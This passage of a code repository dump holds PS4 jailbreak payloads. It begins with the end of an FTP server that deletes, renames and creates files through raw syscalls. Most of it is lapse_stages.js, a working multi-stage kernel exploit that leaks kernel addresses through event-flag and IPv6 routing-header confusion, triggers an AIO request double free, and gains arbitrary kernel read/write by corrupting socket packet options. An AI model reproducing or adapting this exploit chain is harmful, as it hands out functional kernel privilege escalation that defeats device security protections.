cmd.match(/^REST\s+(\d+)/i); 427 | const off = m ? parseInt(m[1], 10) : -1; 428 | this.restorePoint = off; 429 | dbg(`REST ${off}`); 430 | this.sendCtrl(`350 Resuming at ${off}\r\n`); 431 | }, 432 | 433 | MKD: async () => { 434 | const m = cmd.match(/^MKD\s+(.+)/i); const rel = (m && m[1]) || ""; 435 | const path = normalizePath(this.root, rel, this.curPath); 436 | dbg(`MKD ${path}`); 437 | const p = alloc_string(path); 438 | const r = syscall(SYSCALL.mkdir, p, BigInt(parseInt("0755", 8))); 439 | if (Number(r) < 0) this.sendCtrl("501 Syntax error. Not privileged.\r\n"); 440 | else this.sendCtrl(`257 "${rel}" created.\r\n`); 441 | }, 442 | 443 | RMD: async () => { 444 | const m = cmd.match(/^RMD\s+(.+)/i); const rel = (m && m[1]) || ""; 445 | const path = normalizePath(this.root, rel, this.curPath); 446 | dbg(`RMD ${path}`); 447 | const p = alloc_string(path); 448 | const r = syscall(SYSCALL.rmdir, p); 449 | if (Number(r) < 0) this.sendCtrl("550 Directory not found or permission denied\r\n"); 450 | else this.sendCtrl(`250 "${rel}" has been removed\r\n`); 451 | }, 452 | 453 | DELE: async () => { 454 | const m = cmd.match(/^DELE\s+(.+)/i); const rel = (m && m[1]) || ""; 455 | const path = normalizePath(this.root, rel, this.curPath); 456 | dbg(`DELE ${path}`); 457 | const p = alloc_string(path); 458 | const r = syscall(SYSCALL.unlink, p); 459 | if (Number(r) < 0) this.sendCtrl("550 Could not delete the file\r\n"); 460 | else this.sendCtrl("226 File deleted\r\n"); 461 | }, 462 | 463 | RNFR: async () => { 464 | const m = cmd.match(/^RNFR\s+(.+)/i); const rel = (m && m[1]) || ""; 465 | const path = normalizePath(this.root, rel, this.curPath); 466 | dbg(`RNFR ${path}`); 467 | const st = stat_path(path); 468 | if (st) { this.renameFrom = rel; this.sendCtrl("350 Remembered filename\r\n"); } 469 | else this.sendCtrl("550 The file doesn't exist\r\n"); 470 | }, 471 | 472 | RNTO: async () => { 473 | const m = cmd.match(/^RNTO\s+(.+)/i); const relNew = (m && m[1]) || ""; 474 | const oldPath = normalizePath(this.root, this.renameFrom, this.curPath); 475 | const newPath = normalizePath(this.root, relNew, this.curPath); 476 | dbg(`RNTO\n${oldPath}\n${newPath}`); 477 | const po = alloc_string(oldPath), pn = alloc_string(newPath); 478 | const r = syscall(SYSCALL.rename, po, pn); 479 | if (Number(r) < 0) this.sendCtrl("550 Error renaming file\r\n"); 480 | else this.sendCtrl("226 Renamed file\r\n"); 481 | }, 482 | 483 | SITE: async () => { this.sendCtrl("550 Syntax error, command unrecognized\r\n"); }, 484 | 485 | QUIT: async () => { this.sendCtrl("221 Goodbye\r\n"); return true; } 486 | }; 487 | 488 | const h = handlers[op] || (async () => { this.sendCtrl("500 Syntax error, command unrecognized.\r\n"); dbg(`No implementado: ${cmd}`); }); 489 | return await h(); 490 | } 491 | 492 | async ensureDataConn() { 493 | if (this.data.mode === CONN.ACTIVE) return this.data.active.fd; 494 | if (this.data.mode === CONN.PASSIVE) { 495 | let tries = 0; 496 | while (this.data.passive.clientFd < 0 && tries++ < 500) { 497 | await new Promise(res => nrdp.setTimeout(res, 10)); 498 | } 499 | return this.data.passive.clientFd; 500 | } 501 | throw new Error("Sin conexión de datos"); 502 | } 503 | 504 | writeData(fd, str) { const s = alloc_string(str); write_fd(fd, s, str.length); } 505 | writeDataRaw(fd, bufAddr, len) { write_fd(fd, bufAddr, len); } 506 | readData(fd, bufAddr, len) { return read_fd(fd, bufAddr, len); } 507 | 508 | closeDataConn() { 509 | try { 510 | if (this.data.mode === CONN.ACTIVE && this.data.active.fd >= 0) { close_fd(this.data.active.fd); this.data.active.fd = -1; } 511 | else if (this.data.mode === CONN.PASSIVE) { 512 | if (this.data.passive.clientFd >= 0) { close_fd(this.data.passive.clientFd); this.data.passive.clientFd = -1; } 513 | if (this.data.passive.serverFd >= 0) { close_fd(this.data.passive.serverFd); this.data.passive.serverFd = -1; } 514 | } 515 | } catch (_) {} 516 | this.data.mode = CONN.NONE; 517 | } 518 | 519 | cleanup() { 520 | try { this.closeDataConn(); } catch (_) {} 521 | try { if (this.ctrl.clientFd >= 0) close_fd(this.ctrl.clientFd); } catch (_) {} 522 | try { if (this.ctrl.serverFd >= 0) close_fd(this.ctrl.serverFd); } catch (_) {} 523 | notify("FTP Server closed"); 524 | dbg("FTP cerrado"); 525 | } 526 | } 527 | 528 | // ===== IP actual ===== 529 | function get_current_ip_safe() { 530 | const ip = get_current_ip(); 531 | if (!ip || ip === "0.0.0.0") throw new Error("Sin red disponible"); 532 | return ip; 533 | } 534 | 535 | // ===== Bootstrap ===== 536 | (function main_ftp() { 537 | try { 538 | logger.init(); 539 | FTP.SERVER_IP = get_current_ip_safe(); 540 | const srv = new FTPServer(FTP.SERVER_IP, FTP.CTRL_PORT, FTP.ROOT_PATH); 541 | dbg(`Iniciando FTP (deseado ${FTP.CTRL_PORT}) en ${FTP.SERVER_IP}`); 542 | srv.start(); 543 | notify(`FTP listo en ${FTP.SERVER_IP}:${FTP.CTRL_PORT}`); 544 | } catch (e) { 545 | dbg("ERROR FTP: " + e.message); 546 | } 547 | })(); 548 | 549 | -------------------------------------------------------------------------------- /PS4/payloads/lapse/lapse_stages.js: -------------------------------------------------------------------------------- 1 | /* 2 | PS4 Lapse - Exploit Stage Functions (Stages 2-4) 3 | 4 | Stage 2: Leak kernel addresses 5 | Stage 3: Double free SceKernelAioRWRequest 6 | Stage 4: Get arbitrary kernel read/write 7 | */ 8 | 9 | // === Stage 2 Functions === 10 | 11 | function new_evf(name, flags) { 12 | const result = syscall(SYSCALL.evf_create, name, 0n, flags); 13 | if (result === 0xffffffffffffffffn) { 14 | throw new Error("evf_create error: " + hex(result)); 15 | } 16 | return result; 17 | } 18 | 19 | function set_evf_flags(id, flags) { 20 | let result = syscall(SYSCALL.evf_clear, id, 0n); 21 | if (result === 0xffffffffffffffffn) { 22 | throw new Error("evf_clear error: " + hex(result)); 23 | } 24 | result = syscall(SYSCALL.evf_set, id, flags); 25 | if (result === 0xffffffffffffffffn) { 26 | throw new Error("evf_set error: " + hex(result)); 27 | } 28 | return result; 29 | } 30 | 31 | function free_evf(id) { 32 | const result = syscall(SYSCALL.evf_delete, id); 33 | if (result === 0xffffffffffffffffn) { 34 | throw new Error("evf_delete error: " + hex(result)); 35 | } 36 | return result; 37 | } 38 | 39 | function verify_reqs2(addr, cmd) { 40 | if (read32_uncompressed(addr) !== cmd) { 41 | return false; 42 | } 43 | 44 | const heap_prefixes = []; 45 | 46 | for (let i = 0x10n; i <= 0x20n; i += 8n) { 47 | if (read16_uncompressed(addr + i + 6n) !== 0xffffn) { 48 | return false; 49 | } 50 | heap_prefixes.push(Number(read16_uncompressed(addr + i + 4n))); 51 | } 52 | 53 | const state1 = Number(read32_uncompressed(addr + 0x38n)); 54 | const state2 = Number(read32_uncompressed(addr + 0x3cn)); 55 | if (!(state1 > 0 && state1 <= 4) || state2 !== 0) { 56 | return false; 57 | } 58 | 59 | if (read64_uncompressed(addr + 0x40n) !== 0n) { 60 | return false; 61 | } 62 | 63 | for (let i = 0x48n; i <= 0x50n; i += 8n) { 64 | if (read16_uncompressed(addr + i + 6n) === 0xffffn) { 65 | if (read16_uncompressed(addr + i + 4n) !== 0xffffn) { 66 | heap_prefixes.push(Number(read16_uncompressed(addr + i + 4n))); 67 | } 68 | } else if (i === 0x50n || read64_uncompressed(addr + i) !== 0n) { 69 | return false; 70 | } 71 | } 72 | 73 | if (heap_prefixes.length < 2) { 74 | return false; 75 | } 76 | 77 | const first_prefix = heap_prefixes[0]; 78 | for (let idx = 1; idx < heap_prefixes.length; idx++) { 79 | if (heap_prefixes[idx] !== first_prefix) { 80 | return false; 81 | } 82 | } 83 | 84 | return true; 85 | } 86 | 87 | function leak_kernel_addrs(sd_pair, sds) { 88 | const sd = sd_pair[0]; 89 | const buflen = 0x80 * LEAK_LEN; 90 | const buf = malloc(buflen); 91 | 92 | logger.log("Confusing evf with rthdr..."); 93 | 94 | const name = malloc(1); 95 | 96 | syscall(SYSCALL.close, BigInt(sd_pair[1])); 97 | 98 | let evf = null; 99 | for (let i = 1; i <= NUM_ALIAS; i++) { 100 | const evfs = []; 101 | 102 | for (let j = 1; j <= NUM_HANDLES; j++) { 103 | const evf_flags = 0xf00n | (BigInt(j) << 16n); 104 | evfs.push(new_evf(name, evf_flags)); 105 | } 106 | 107 | get_rthdr(sd, buf, 0x80); 108 | 109 | const flag = Number(read32_uncompressed(buf)); 110 | 111 | if ((flag & 0xf00) === 0xf00) { 112 | const idx = (flag >>> 16) & 0xffff; 113 | const expected_flag = BigInt(flag | 1); 114 | 115 | evf = evfs[idx - 1]; 116 | 117 | set_evf_flags(evf, expected_flag); 118 | get_rthdr(sd, buf, 0x80); 119 | 120 | const val = read32_uncompressed(buf); 121 | if (val === expected_flag) { 122 | evfs.splice(idx - 1, 1); 123 | } else { 124 | evf = null; 125 | } 126 | } 127 | 128 | for (let k = 0; k < evfs.length; k++) { 129 | if (evf === null || evfs[k] !== evf) { 130 | free_evf(evfs[k]); 131 | } 132 | } 133 | 134 | if (evf !== null) { 135 | logger.log("Confused rthdr and evf at attempt: " + i); 136 | break; 137 | } 138 | } 139 | 140 | if (evf === null) { 141 | logger.log("Failed to confuse evf and rthdr"); 142 | return null; 143 | } 144 | 145 | set_evf_flags(evf, 0xff00n); 146 | 147 | const kernel_addr = read64_uncompressed(buf + 0x28n); 148 | logger.log("\"evf cv\" string addr: " + hex(kernel_addr)); 149 | 150 | const kbuf_addr = read64_uncompressed(buf + 0x40n) - 0x38n; 151 | logger.log("Kernel buffer addr: " + hex(kbuf_addr)); 152 | 153 | const wbufsz = 0x80; 154 | const wbuf = malloc(wbufsz); 155 | const rsize = build_rthdr(wbuf, wbufsz); 156 | const marker_val = 0xdeadbeefn; 157 | const reqs3_offset = 0x10n; 158 | 159 | write32_uncompressed(wbuf + 4n, marker_val); 160 | write32_uncompressed(wbuf + reqs3_offset + 0n, 1n); 161 | write32_uncompressed(wbuf + reqs3_offset + 4n, 0n); 162 | write32_uncompressed(wbuf + reqs3_offset + 8n, AIO_STATE_COMPLETE); 163 | write8_uncompressed(wbuf + reqs3_offset + 0xcn, 0n); 164 | write32_uncompressed(wbuf + reqs3_offset + 0x28n, 0x67b0000n); 165 | write64_uncompressed(wbuf + reqs3_offset + 0x38n, 1n); 166 | 167 | const num_elems = 6; 168 | const ucred = kbuf_addr + 4n; 169 | const leak_reqs = make_reqs1(num_elems); 170 | write64_uncompressed(leak_reqs + 0x10n, ucred); 171 | 172 | const num_loop = NUM_SDS; 173 | const leak_ids_len = num_loop * num_elems; 174 | const leak_ids = malloc(4 * leak_ids_len); 175 | const step = BigInt(4 * num_elems); 176 | const cmd = AIO_CMD_WRITE | AIO_CMD_FLAG_MULTI; 177 | 178 | let reqs2_off = null; 179 | let fake_reqs3_off = null; 180 | let fake_reqs3_sd = null; 181 | 182 | for (let i = 1; i <= NUM_LEAKS; i++) { 183 | for (let j = 1; j <= num_loop; j++) { 184 | write32_uncompressed(wbuf + 8n, BigInt(j)); 185 | aio_submit_cmd(cmd, leak_reqs, num_elems, 3n, leak_ids + (BigInt(j - 1) * step)); 186 | set_rthdr(Number(sds[j - 1]), wbuf, rsize); 187 | } 188 | 189 | get_rthdr(sd, buf, buflen); 190 | 191 | let sd_idx = null; 192 | reqs2_off = null; 193 | fake_reqs3_off = null; 194 | 195 | for (let off = 0x80; off < buflen; off += 0x80) { 196 | const offset = BigInt(off); 197 | 198 | if (reqs2_off === null && verify_reqs2(buf + offset, AIO_CMD_WRITE)) { 199 | reqs2_off = off; 200 | } 201 | 202 | if (fake_reqs3_off === null) { 203 | const marker = read32_uncompressed(buf + offset + 4n); 204 | if (marker === marker_val) { 205 | fake_reqs3_off = off; 206 | sd_idx = Number(read32_uncompressed(buf + offset + 8n)); 207 | } 208 | } 209 | } 210 | 211 | if (reqs2_off !== null && fake_reqs3_off !== null) { 212 | logger.log("Found reqs2 and fake reqs3 at attempt: " + i); 213 | fake_reqs3_sd = sds[sd_idx - 1]; 214 | sds.splice(sd_idx - 1, 1); 215 | free_rthdrs(sds); 216 | sds.push(new_socket()); 217 | break; 218 | } 219 | 220 | free_aios(leak_ids, leak_ids_len); 221 | } 222 | 223 | if (reqs2_off === null || fake_reqs3_off === null) { 224 | logger.log("Could not leak reqs2 and fake reqs3"); 225 | logger.flush(); 226 | return null; 227 | } 228 | 229 | logger.log("reqs2 offset: " + hex(BigInt(reqs2_off))); 230 | logger.log("fake reqs3 offset: " + hex(BigInt(fake_reqs3_off))); 231 | logger.flush(); 232 | 233 | get_rthdr(sd, buf, buflen); 234 | 235 | const aio_info_addr = read64_uncompressed(buf + BigInt(reqs2_off) + 0x18n); 236 | 237 | let reqs1_addr = read64_uncompressed(buf + BigInt(reqs2_off) + 0x10n); 238 | reqs1_addr = reqs1_addr & ~0xffn; 239 | 240 | const fake_reqs3_addr = kbuf_addr + BigInt(fake_reqs3_off) + reqs3_offset; 241 | 242 | logger.log("reqs1_addr = " + hex(reqs1_addr)); 243 | logger.log("fake_reqs3_addr = " + hex(fake_reqs3_addr)); 244 | 245 | logger.log("Searching for target_id..."); 246 | logger.flush(); 247 | 248 | let target_id = null; 249 | let to_cancel = null; 250 | let to_cancel_len = null; 251 | 252 | const errors = malloc(4 * num_elems); 253 | 254 | for (let i = 0; i < leak_ids_len; i += num_elems) { 255 | aio_multi_cancel(leak_ids + BigInt(i * 4), num_elems, errors); 256 | get_rthdr(sd, buf, buflen); 257 | 258 | const state = read32_uncompressed(buf + BigInt(reqs2_off) + 0x38n); 259 | if (state === AIO_STATE_ABORTED) { 260 | target_id = read32_uncompressed(leak_ids + BigInt(i * 4)); 261 | write32_uncompressed(leak_ids + BigInt(i * 4), 0n); 262 | 263 | logger.log("Found target_id=" + hex(target_id) + ", i=" + i + ", batch=" + Math.floor(i / num_elems)); 264 | logger.flush(); 265 | const start = i + num_elems; 266 | to_cancel = leak_ids + BigInt(start * 4); 267 | to_cancel_len = leak_ids_len - start; 268 | 269 | break; 270 | } 271 | } 272 | 273 | if (target_id === null) { 274 | logger.log("Target ID not found"); 275 | logger.flush(); 276 | return null; 277 | } 278 | 279 | cancel_aios(to_cancel, to_cancel_len); 280 | free_aios2(leak_ids, leak_ids_len); 281 | 282 | logger.log("Kernel addresses leaked successfully!"); 283 | logger.flush(); 284 | 285 | return { 286 | reqs1_addr: reqs1_addr, 287 | kbuf_addr: kbuf_addr, 288 | kernel_addr: kernel_addr, 289 | target_id: target_id, 290 | evf: evf, 291 | fake_reqs3_addr: fake_reqs3_addr, 292 | fake_reqs3_sd: fake_reqs3_sd, 293 | aio_info_addr: aio_info_addr 294 | }; 295 | } 296 | 297 | // === Stage 3 Functions === 298 | 299 | function make_aliased_pktopts(sds) { 300 | const tclass = malloc(4); 301 | 302 | for (let loop = 0; loop < NUM_ALIAS; loop++) { 303 | for (let i = 0; i < sds.length; i++) { 304 | write32_uncompressed(tclass, BigInt(i)); 305 | set_sockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass, 4); 306 | } 307 | 308 | for (let i = 0; i < sds.length; i++) { 309 | get_sockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass, 4); 310 | const marker = Number(read32_uncompressed(tclass)); 311 | 312 | if (marker !== i) { 313 | const sd_pair = [sds[i], sds[marker]]; 314 | logger.log("Aliased pktopts at attempt " + loop + " (pair: " + sd_pair[0] + ", " + sd_pair[1] + ")"); 315 | logger.flush(); 316 | if (marker > i) { 317 | sds.splice(marker, 1); 318 | sds.splice(i, 1); 319 | } else { 320 | sds.splice(i, 1); 321 | sds.splice(marker, 1); 322 | } 323 | 324 | for (let j = 0; j < 2; j++) { 325 | const sock_fd = new_socket(); 326 | set_sockopt(sock_fd, IPPROTO_IPV6, IPV6_TCLASS, tclass, 4); 327 | sds.push(sock_fd); 328 | } 329 | 330 | return sd_pair; 331 | } 332 | } 333 | 334 | for (let i = 0; i < sds.length; i++) { 335 | set_sockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0n, 0); 336 | } 337 | } 338 | 339 | return null; 340 | } 341 | 342 | function double_free_reqs1(reqs1_addr, target_id, evf, sd, sds, sds_alt, fake_reqs3_addr) { 343 | const max_leak_len = (0xff + 1) << 3; 344 | const buf = malloc(max_leak_len); 345 | 346 | const num_elems = MAX_AIO_IDS; 347 | const aio_reqs = make_reqs1(num_elems); 348 | 349 | const num_batches = 2; 350 | const aio_ids_len = num_batches * num_elems; 351 | const aio_ids = malloc(4 * aio_ids_len); 352 | 353 | logger.log("Overwriting rthdr with AIO queue entry..."); 354 | logger.flush(); 355 | let aio_not_found = true; 356 | free_evf(evf); 357 | 358 | for (let i = 0; i < NUM_CLOBBERS; i++) { 359 | spray_aio(num_batches, aio_reqs, num_elems, aio_ids, true); 360 | 361 | const size_ret = get_rthdr(sd, buf, max_leak_len); 362 | const cmd = read32_uncompressed(buf); 363 | 364 | if (size_ret === 8n && cmd === AIO_CMD_READ) { 365 | logger.log("Aliased at attempt " + i); 366 | logger.flush(); 367 | aio_not_found = false; 368 | cancel_aios(aio_ids, aio_ids_len); 369 | break; 370 | } 371 | 372 | free_aios(aio_ids, aio_ids_len, true); 373 | } 374 | 375 | if (aio_not_found) { 376 | logger.log("Failed to overwrite rthdr"); 377 | logger.flush(); 378 | return null; 379 | } 380 | 381 | const reqs2_size = 0x80; 382 | const reqs2 = malloc(reqs2_size); 383 | const rsize = build_rthdr(reqs2, reqs2_size); 384 | 385 | write32_uncompressed(reqs2 + 4n, 5n); 386 | write64_uncompressed(reqs2 + 0x18n, reqs1_addr); 387 | write64_uncompressed(reqs2 + 0x20n, fake_reqs3_addr); 388 | 389 | const states = malloc(4 * num_elems); 390 | const addr_cache = []; 391 | for (let i = 0; i < num_batches; i++) { 392 | addr_cache.push(aio_ids + BigInt(i * num_elems * 4)); 393 | } 394 | 395 | logger.log("Overwriting AIO queue entry with rthdr..."); 396 | logger.flush(); 397 | 398 | syscall(SYSCALL.close, BigInt(sd)); 399 | sd = null; 400 | 401 | function overwrite_aio_entry_with_rthdr() { 402 | for (let i = 0; i < NUM_ALIAS; i++) { 403 | for (let j = 0; j < sds.length; j++) { 404 | set_rthdr(sds[j], reqs2, rsize); 405 | } 406 | 407 | for (let batch = 0; batch < addr_cache.length; batch++) { 408 | for (let j = 0; j < num_elems; j++) { 409 | write32_uncompressed(states + BigInt(j * 4), -1n); 410 | } 411 | 412 | aio_multi_cancel(addr_cache[batch], num_elems, states); 413 | 414 | let req_idx = -1; 415 | for (let j = 0; j < num_elems; j++) { 416 | const val = read32_uncompressed(states + BigInt(j * 4)); 417 | if (val === AIO_STATE_COMPLETE) { 418 | req_idx = j; 419 | break; 420 | } 421 | } 422 | 423 | if (req_idx !== -1) { 424 | logger.log("Found req_id at batch " + batch + ", attempt " + i); 425 | logger.flush(); 426 | 427 | const aio_idx = batch * num_elems + req_idx; 428 | const req_id_p = aio_ids + BigInt(aio_idx * 4); 429 | const req_id = read32_uncompressed(req_id_p); 430 | 431 | aio_multi_poll(req_id_p, 1, states); 432 | write32_uncompressed(req_id_p, 0n); 433 | 434 | return req_id; 435 | } 436 | } 437 | } 438 | 439 | return null; 440 | } 441 | 442 | const req_id = overwrite_aio_entry_with_rthdr(); 443 | if (req_id === null) { 444 | logger.log("Failed to overwrite AIO queue entry"); 445 | logger.flush(); 446 | return null; 447 | } 448 | 449 | free_aios2(aio_ids, aio_ids_len); 450 | 451 | const target_id_p = malloc(4); 452 | write32_uncompressed(target_id_p, BigInt(target_id)); 453 | 454 | aio_multi_poll(target_id_p, 1, states); 455 | 456 | const sce_errs = malloc(8); 457 | write32_uncompressed(sce_errs, -1n); 458 | write32_uncompressed(sce_errs + 4n, -1n); 459 | 460 | const target_ids = malloc(8); 461 | write32_uncompressed(target_ids, req_id); 462 | write32_uncompressed(target_ids + 4n, BigInt(target_id)); 463 | 464 | logger.log("Triggering double free..."); 465 | logger.flush(); 466 | aio_multi_delete(target_ids, 2, sce_errs); 467 | 468 | logger.log("Reclaiming memory..."); 469 | logger.flush(); 470 | const sd_pair = make_aliased_pktopts(sds_alt); 471 | 472 | const err1 = read32_uncompressed(sce_errs); 473 | const err2 = read32_uncompressed(sce_errs + 4n); 474 | 475 | write32_uncompressed(states, -1n); 476 | write32_uncompressed(states + 4n, -1n); 477 | 478 | aio_multi_poll(target_ids, 2, states); 479 | 480 | let success = true; 481 | if (read32_uncompressed(states) !== SCE_KERNEL_ERROR_ESRCH) { 482 | logger.log("ERROR: Bad delete of corrupt AIO request"); 483 | logger.flush(); 484 | success = false; 485 | } 486 | 487 | if (err1 !== 0n || err1 !== err2) { 488 | logger.log("ERROR: Bad delete of ID pair"); 489 | logger.flush(); 490 | success = false; 491 | } 492 | 493 | if (!success) { 494 | logger.log("Double free failed"); 495 | logger.flush(); 496 | return null; 497 | } 498 | 499 | if (sd_pair === null) { 500 | logger.log("Failed to make aliased pktopts"); 501 | logger.flush(); 502 | return null; 503 | } 504 | 505 | return sd_pair; 506 | } 507 | 508 | // === Stage 4 Functions === 509 | 510 | function make_kernel_arw(pktopts_sds, reqs1_addr, kernel_addr, sds, sds_alt, aio_info_addr) { 511 | try { 512 | const master_sock = pktopts_sds[0]; 513 | const tclass = malloc(4); 514 | const off_tclass = kernel_offset.IP6PO_TCLASS; 515 | 516 | const pktopts_size = 0x100; 517 | const pktopts = malloc(pktopts_size); 518 | const rsize = build_rthdr(pktopts, pktopts_size); 519 | const pktinfo_p = reqs1_addr + 0x10n; 520 | 521 | write64_uncompressed(pktopts + 0x10n, pktinfo_p); 522 | 523 | logger.log("Overwriting main pktopts"); 524 | logger.flush(); 525 | let reclaim_sock = null; 526 | 527 | syscall(SYSCALL.close, pktopts_sds[1]); 528 | 529 | for (let i = 1; i <= NUM_ALIAS; i++) { 530 | for (let j = 0; j < sds_alt.length; j++) { 531 | write32_uncompressed(pktopts + off_tclass, 0x4141n | (BigInt(j) << 16n)); 532 | set_rthdr(sds_alt[j], pktopts, rsize); 533 | } 534 | 535 | get_sockopt(master_sock, IPPROTO_IPV6, IPV6_TCLASS, tclass, 4); 536 | const marker = read32_uncompressed(tclass); 537 | if ((marker & 0xffffn) === 0x4141n) { 538 | logger.log("Found reclaim socket at attempt: " + i); 539 | logger.flush(); 540 | const idx = Number(marker >> 16n); 541 | reclaim_sock = sds_alt[idx]; 542 | sds_alt.splice(idx, 1); 543 | break; 544 | } 545 | } 546 | 547 | if (reclaim_sock === null) { 548 | logger.log("Failed to overwrite main pktopts"); 549 | logger.flush(); 550 | return null; 551 | } 552 | 553 | const pktinfo_len = 0x14; 554 | const pktinfo = malloc(pktinfo_len); 555 | write64_uncompressed(pktinfo, pktinfo_p); 556 | 557 | const read_buf = malloc(8); 558 | 559 | function slow_kread8(addr) { 560 | const len = 8; 561 | let offset = 0; 562 | 563 | while (offset < len) { 564 | write64_uncompressed(pktinfo + 8n, addr + BigInt(offset)); 565 | 566 | set_sockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len); 567 | const n = get_sockopt(master_sock, IPPROTO_IPV6, IPV6_NEXTHOP, read_buf + BigInt(offset), len - offset); 568 | 569 | if (n === 0n) { 570 | write8_uncompressed(read_buf + BigInt(offset), 0n); 571 | offset = offset + 1; 572 | } else { 573 | offset = offset + Number(n); 574 | } 575 | } 576 | 577 | return read64_uncompressed(read_buf); 578 | } 579 | 580 | const test_read = slow_kread8(kernel_addr); 581 | logger.log("slow_kread8(\"evf cv\"): " + hex(test_read)); 582 | logger.flush(); 583 | const kstr = read_cstring(read_buf); 584 | logger.log("*(\"evf cv\"): " + kstr); 585 | logger.flush(); 586 | 587 | if (kstr !== "evf cv") { 588 | logger.log("Test read of \"evf cv\" failed"); 589 | logger.flush(); 590 | return null; 591 | } 592 | 593 | logger.log("Slow arbitrary kernel read achieved"); 594 | logger.flush(); 595 | 596 | const curproc = slow_kread8(aio_info_addr + 8n); 597 | 598 | if (Number(curproc >> 48n) !== 0xffff) { 599 | logger.log("Invalid curproc kernel address: " + hex(curproc)); 600 | logger.flush(); 601 | return null; 602 | } 603 | 604 | const possible_pid = slow_kread8(curproc + kernel_offset.PROC_PID); 605 | const current_pid = syscall(SYSCALL.getpid); 606 | 607 | if ((possible_pid & 0xffffffffn) !== (current_pid & 0xffffffffn)) { 608 | logger.log("curproc verification failed: " + hex(curproc)); 609 | logger.flush(); 610 | return null; 611 | } 612 | 613 | logger.log("curproc = " + hex(curproc)); 614 | logger.flush(); 615 | 616 | kernel.addr.curproc = curproc; 617 | kernel.addr.curproc_fd = slow_kread8(kernel.addr.curproc + kernel_offset.PROC_FD); 618 | kernel.addr.curproc_ofiles = slow_kread8(kernel.addr.curproc_fd) + kernel_offset.FILEDESC_OFILES; 619 | kernel.addr.inside_kdata = kernel_addr; 620 | 621 | function get_fd_data_addr(sock, kread8_fn) { 622 | const filedescent_addr = kernel.addr.curproc_ofiles + sock * kernel_offset.SIZEOF_OFILES; 623 | const file_addr = kread8_fn(filedescent_addr + 0x0n); 624 | return kread8_fn(file_addr + 0x0n); 625 | } 626 | 627 | function get_sock_pktopts(sock, kread8_fn) { 628 | const fd_data = get_fd_data_addr(sock, kread8_fn); 629 | const pcb = kread8_fn(fd_data + kernel_offset.SO_PCB); 630 | const pktopts = kread8_fn(pcb + kernel_offset.INPCB_PKTOPTS); 631 | return pktopts; 632 | } 633 | 634 | const worker_sock = new_socket(); 635 | const worker_pktinfo = malloc(pktinfo_len); 636 | 637 | set_sockopt(worker_sock, IPPROTO_IPV6, IPV6_PKTINFO, worker_pktinfo, pktinfo_len); 638 | 639 | const worker_pktopts = get_sock_pktopts(worker_sock, slow_kread8); 640 | 641 | write64_uncompressed(pktinfo, worker_pktopts + 0x10n); 642 | write64_uncompressed(pktinfo + 8n, 0n); 643 | set_sockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len); 644 | 645 | function kread20(addr, buf) { 646 | write64_uncompressed(pktinfo, addr); 647 | set_sockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len); 648 | get_sockopt(worker_sock, IPPROTO_IPV6, IPV6_PKTINFO, buf, pktinfo_len); 649 | } 650 | 651 | function kwrite20(addr, buf) { 652 | write64_uncompressed(pktinfo, addr); 653 | set_sockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len); 654 | set_sockopt(worker_sock, IPPROTO_IPV6, IPV6_PKTINFO, buf, pktinfo_len); 655 | } 656 | 657 | function kread8(addr) { 658 | kread20(addr, worker_pktinfo); 659 | return read64_uncompressed(worker_pktinfo); 660 | } 661 | 662 | function restricted_kwrite8(addr, val) { 663 | write64_uncompressed(worker_pktinfo, val); 664 | write64_uncompressed(worker_pktinfo + 8n, 0n); 665 | write32_uncompressed(worker_pktinfo + 16n, 0n); 666 | kwrite20(addr, worker_pktinfo); 667 | } 668 | 669 | write64_uncompressed(read_buf, kread8(kernel_addr)); 670 | const kstr2 = read_cstring(read_buf); 671 | if (kstr2 !== "evf cv") { 672 | logger.log("Test read of \"evf cv\" failed"); 673 | logger.flush(); 674 | return null; 675 | } 676 | 677 | logger.log("Restricted kernel r/w achieved"); 678 | logger.flush(); 679 | 680 | ipv6_kernel_rw.init(kernel.addr.curproc_ofiles, kread8, restricted_kwrite8); 681 | 682 | kernel.read_buffer = ipv6_kernel_rw.read_buffer; 683 | kernel.write_buffer = ipv6_kernel_rw.write_buffer; 684 | kernel.copyout = ipv6_kernel_rw.copyout; 685 | kernel.copyin = ipv6_kernel_rw.copyin; 686 | 687 | const kstr3 = kernel.read_null_terminated_string(kernel_addr); 688 | if (kstr3 !== "evf cv") { 689 | logger.log("Test read of \"evf cv\" failed"); 690 | logger.flush(); 691 | return null; 692 | } 693 | 694 | logger.log("Arbitrary kernel r/w achieved!"); 695 | logger.flush(); 696 | 697 | const off_ip6po_rthdr = kernel_offset.IP6PO_RTHDR; 698 | 699 | for (let i = 0; i < sds.length; i++) { 700 | const sock_pktopts = get_sock_pktopts(sds[i], kernel.read_qword); 701 | kernel.write_qword(sock_pktopts + off_ip6po_rthdr, 0n); 702 | } 703 | 704 | const reclaimer_pktopts = get_sock_pktopts(reclaim_sock, kernel.read_qword); 705 | 706 | kernel.write_qword(reclaimer_pktopts + off_ip6po_rthdr, 0n); 707 | kernel.write_qword(worker_pktopts + off_ip6po_rthdr, 0n); 708 | 709 | const sock_increase_ref = [ 710 | ipv6_kernel_rw.data.master_sock, 711 | ipv6_kernel_rw.data.victim_sock, 712 | master_sock, 713 | worker_sock, 714 | reclaim_sock 715 | ]; 716 | 717 | for (const each of sock_increase_ref) { 718 | const sock_addr = get_fd_data_addr(each, kernel.read_qword); 719 | kernel.write_dword(sock_addr + 0x0n, 0x100n); 720 | } 721 | 722 | logger.log("Fixes applied"); 723 | logger.flush(); 724 | 725 | return true; 726 | 727 | } catch (e) { 728 | logger.log("make_kernel_arw error: " + e.message); 729 | logger.log(e.stack); 730 | return null; 731 | } 732 | } 733 | --------------------------------------------------------------------------------